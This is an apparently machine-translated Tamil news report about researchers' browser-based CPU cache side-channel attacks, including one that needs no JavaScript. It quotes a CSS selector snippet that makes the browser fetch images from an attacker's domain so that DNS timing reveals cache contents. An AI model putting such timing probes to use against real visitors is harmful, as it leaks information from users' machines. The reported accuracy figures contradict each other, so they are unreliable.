CPU கேச் பிரித்தெடுத்தல் தாக்குதல் JavaScript இல்லாமல் இணைய உலாவியில் செயல்படுத்தப்பட்டது

பல அமெரிக்க, இஸ்ரேலிய மற்றும் ஆஸ்திரேலிய பல்கலைக்கழகங்களின் ஆராய்ச்சியாளர்கள் குழு, செயலி தற்காலிக சேமிப்பின் உள்ளடக்கங்களைப் பற்றிய தகவல்களைப் பிரித்தெடுக்க இணைய உலாவிகளில் இயங்கும் மூன்று தாக்குதல்களை உருவாக்கியுள்ளது. ஒரு முறை ஜாவாஸ்கிரிப்ட் இல்லாத உலாவிகளில் வேலை செய்கிறது, மற்ற இரண்டு பக்க-சேனல் தாக்குதல்களுக்கு எதிராக இருக்கும் பாதுகாப்பு முறைகளைத் தவிர்த்து, Tor உலாவி மற்றும் DeterFox இல் பயன்படுத்தப்பட்டவை உட்பட. தாக்குதல்களை விளக்குவதற்கான குறியீடு மற்றும் தாக்குதல்களுக்குத் தேவையான சேவையக கூறுகள் GitHub இல் வெளியிடப்படுகின்றன.

தற்காலிக சேமிப்பின் உள்ளடக்கங்களை பகுப்பாய்வு செய்ய, அனைத்து தாக்குதல்களும் Prime+Probe முறையைப் பயன்படுத்துகின்றன, இது நிலையான மதிப்புகளின் தொகுப்புடன் தற்காலிக சேமிப்பை நிரப்புவது மற்றும் அவற்றை மீண்டும் நிரப்பும்போது அவற்றின் அணுகல் நேரத்தை அளவிடுவதன் மூலம் மாற்றங்களைக் கண்டறிவது ஆகியவை அடங்கும். துல்லியமான நேர அளவீட்டில் குறுக்கிடும் உலாவிகளில் இருக்கும் பாதுகாப்பு வழிமுறைகளைத் தவிர்க்க, இரண்டு விருப்பங்களில், தாக்குபவரால் கட்டுப்படுத்தப்படும் DNS அல்லது WebSocket சேவையகத்திற்கு மேல்முறையீடு செய்யப்படுகிறது, இது பெறப்பட்ட கோரிக்கைகளின் நேரத்தைப் பதிவு செய்கிறது. ஒரு உருவகத்தில், ஒரு நிலையான டிஎன்எஸ் மறுமொழி நேரம் நேரக் குறிப்பாகப் பயன்படுத்தப்படுகிறது.

வெளிப்புற DNS அல்லது WebSocket சேவையகங்களைப் பயன்படுத்தி செய்யப்பட்ட அளவீடுகள், இயந்திரக் கற்றலை அடிப்படையாகக் கொண்ட ஒரு வகைப்பாடு முறையைப் பயன்படுத்தி, மிகவும் உகந்த சூழ்நிலையில் (சராசரியாக 98-80%) மதிப்புகளை 90% வரை துல்லியமாகக் கணிக்க போதுமானதாக இருந்தது. தாக்குதல் முறைகள் பல்வேறு வன்பொருள் தளங்களில் (இன்டெல், ஏஎம்டி ரைசன், ஆப்பிள் எம் 1, சாம்சங் எக்ஸினோஸ்) சோதிக்கப்பட்டு உலகளாவியதாக நிரூபிக்கப்பட்டுள்ளது.

CPU கேச் பிரித்தெடுத்தல் தாக்குதல் JavaScript இல்லாமல் இணைய உலாவியில் செயல்படுத்தப்பட்டது

DNS ரேசிங் தாக்குதலின் முதல் மாறுபாடு ஜாவாஸ்கிரிப்ட் வரிசைகளைப் பயன்படுத்தி Prime+Probe முறையின் உன்னதமான செயலாக்கத்தைப் பயன்படுத்துகிறது. வெளிப்புற டிஎன்எஸ்-அடிப்படையிலான டைமர் மற்றும் ஒர்ரர் ஹேண்ட்லரின் பயன்பாடு வரை வேறுபாடுகள் கொதிக்கின்றன, இது இல்லாத டொமைனில் இருந்து ஒரு படத்தை ஏற்றும் முயற்சியின் போது தூண்டப்படுகிறது. ஜாவாஸ்கிரிப்ட் டைமர்களுக்கான அணுகலைக் கட்டுப்படுத்தும் அல்லது முற்றிலும் முடக்கும் உலாவிகளில் பிரைம்+ப்ரோப் தாக்குதலை வெளிப்புற டைமர் அனுமதிக்கிறது.

அதே ஈத்தர்நெட் நெட்வொர்க்கில் அமைந்துள்ள DNS சேவையகத்திற்கு, டைமரின் துல்லியம் தோராயமாக 2 ms என மதிப்பிடப்பட்டுள்ளது, இது ஒரு பக்க-சேனல் தாக்குதலை மேற்கொள்ள போதுமானது (ஒப்பிடுகையில், Tor உலாவியில் நிலையான JavaScript டைமரின் துல்லியம் 100 ms ஆக குறைக்கப்பட்டது). தாக்குதலுக்கு, DNS சேவையகத்தின் மீதான கட்டுப்பாடு தேவையில்லை, ஏனெனில் செயல்பாட்டின் செயல்பாட்டின் நேரம் தேர்ந்தெடுக்கப்பட்டதால், DNS இலிருந்து மறுமொழி நேரம் காசோலையை முன்பே முடித்ததற்கான அடையாளமாக செயல்படுகிறது (ஒன்ரர் ஹேண்ட்லர் தூண்டப்பட்டதா என்பதைப் பொறுத்து. முந்தைய அல்லது பின்னர், கேச் மூலம் சரிபார்ப்பு செயல்பாட்டின் வேகம் பற்றி ஒரு முடிவு எடுக்கப்பட்டது) .

இரண்டாவது தாக்குதல் முறை, "ஸ்ட்ரிங் அண்ட் சாக்", ஜாவாஸ்கிரிப்டில் அணிவரிசைகளின் குறைந்த அளவிலான பயன்பாட்டைக் கட்டுப்படுத்தும் பாதுகாப்பு நுட்பங்களைத் தவிர்ப்பதை நோக்கமாகக் கொண்டுள்ளது. வரிசைகளுக்குப் பதிலாக, சரம் மற்றும் சாக் மிகப் பெரிய சரங்களில் செயல்பாடுகளைப் பயன்படுத்துகின்றன, அதன் அளவு தேர்ந்தெடுக்கப்பட்டது, இதனால் மாறி முழு LLC தற்காலிக சேமிப்பையும் (கடைசி நிலை கேச்) உள்ளடக்கும். அடுத்து, indexOf() செயல்பாட்டைப் பயன்படுத்தி, ஒரு சிறிய சப்ஸ்ட்ரிங் சரத்தில் தேடப்படுகிறது, இது ஆரம்பத்தில் மூல சரத்தில் இல்லை, அதாவது. தேடல் செயல்பாட்டின் விளைவாக முழு சரத்திலும் மீண்டும் மீண்டும் வருகிறது. வரி அளவு எல்எல்சி தற்காலிக சேமிப்பின் அளவிற்கு ஒத்திருப்பதால், வரிசைகளை கையாளாமல் கேச் சரிபார்ப்பு செயல்பாட்டை செய்ய ஸ்கேனிங் உங்களை அனுமதிக்கிறது. தாமதங்களை அளவிட, டிஎன்எஸ்ஸுக்குப் பதிலாக, தாக்குபவரால் கட்டுப்படுத்தப்படும் வெப்சாக்கெட் சேவையகத்திற்கு அழைப்பு செய்யப்படுகிறது - தேடல் செயல்பாடு முடிவதற்கு முன்னும் பின்னும், வினவல்கள் வரிசையில் அனுப்பப்படும், அதன் அடிப்படையில் சேவையகம் தற்காலிக சேமிப்பை பகுப்பாய்வு செய்ய பயன்படுத்தப்படும் தாமதத்தை கணக்கிடுகிறது. உள்ளடக்கங்கள்.

"CSS PP0" தாக்குதலின் மூன்றாவது மாறுபாடு HTML மற்றும் CSS மூலம் செயல்படுத்தப்படுகிறது, மேலும் JavaScript முடக்கப்பட்ட உலாவிகளில் வேலை செய்ய முடியும். இந்த முறை "ஸ்ட்ரிங் அண்ட் சாக்" போன்றது, ஆனால் ஜாவாஸ்கிரிப்டுடன் இணைக்கப்படவில்லை. தாக்குதலின் போது, ​​முகமூடி மூலம் தேடும் CSS தேர்வாளர்களின் தொகுப்பு உருவாக்கப்படுகிறது. கேச் நிரப்பும் ஆரம்ப பெரிய சரம் ஒரு பெரிய வகுப்பு பெயருடன் ஒரு div குறிச்சொல்லை உருவாக்குவதன் மூலம் அமைக்கப்படுகிறது. அவற்றின் சொந்த அடையாளங்காட்டிகளுடன் பிற பிரிவுகளின் தொகுப்பு உள்ளே உள்ளது. இந்த உள்ளமைக்கப்பட்ட பகுதிகள் ஒவ்வொன்றும் அதன் சொந்த பாணியைக் கொண்ட ஒரு தேர்வாளருடன் துணைச்சரத்தைத் தேடுகிறது. ஒரு பக்கத்தை ரெண்டரிங் செய்யும் போது, ​​உலாவி முதலில் உள் பகுதிகளைச் செயல்படுத்த முயற்சிக்கிறது, இதன் விளைவாக ஒரு பெரிய வரிசையில் ஒரு தேடல் செயல்பாடு ஏற்படுகிறது. வேண்டுமென்றே காணாமல் போன முகமூடியைப் பயன்படுத்தி தேடல் செய்யப்படுகிறது மற்றும் முழு வரியிலும் மீண்டும் மீண்டும் செய்ய வழிவகுக்கிறது, அதன் பிறகு "இல்லை" நிலை தூண்டப்பட்டு, சீரற்ற டொமைன்களைக் குறிக்கும் பின்னணி படத்தை ஏற்ற முயற்சி செய்யப்படுகிறது: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … எக்ஸ் எக்ஸ் ...

துணை டொமைன்கள் தாக்குபவரின் DNS சேவையகத்தால் வழங்கப்படுகின்றன, இது கோரிக்கைகளைப் பெறுவதில் தாமதத்தை அளவிட முடியும். DNS சர்வர் அனைத்து கோரிக்கைகளுக்கும் NXDOMAIN ஐ வெளியிடுகிறது மற்றும் கோரிக்கைகளின் சரியான நேரத்தை பதிவு செய்கிறது. டிவ்களின் தொகுப்பைச் செயலாக்குவதன் விளைவாக, தாக்குபவரின் டிஎன்எஸ் சேவையகம் தொடர்ச்சியான கோரிக்கைகளைப் பெறுகிறது, இடையக உள்ளடக்கங்களைச் சரிபார்ப்பதன் முடிவுடன் தொடர்புடைய தாமதங்கள்.

CPU கேச் பிரித்தெடுத்தல் தாக்குதல் JavaScript இல்லாமல் இணைய உலாவியில் செயல்படுத்தப்பட்டது


ஆதாரம்: opennet.ru

கருத்தைச் சேர்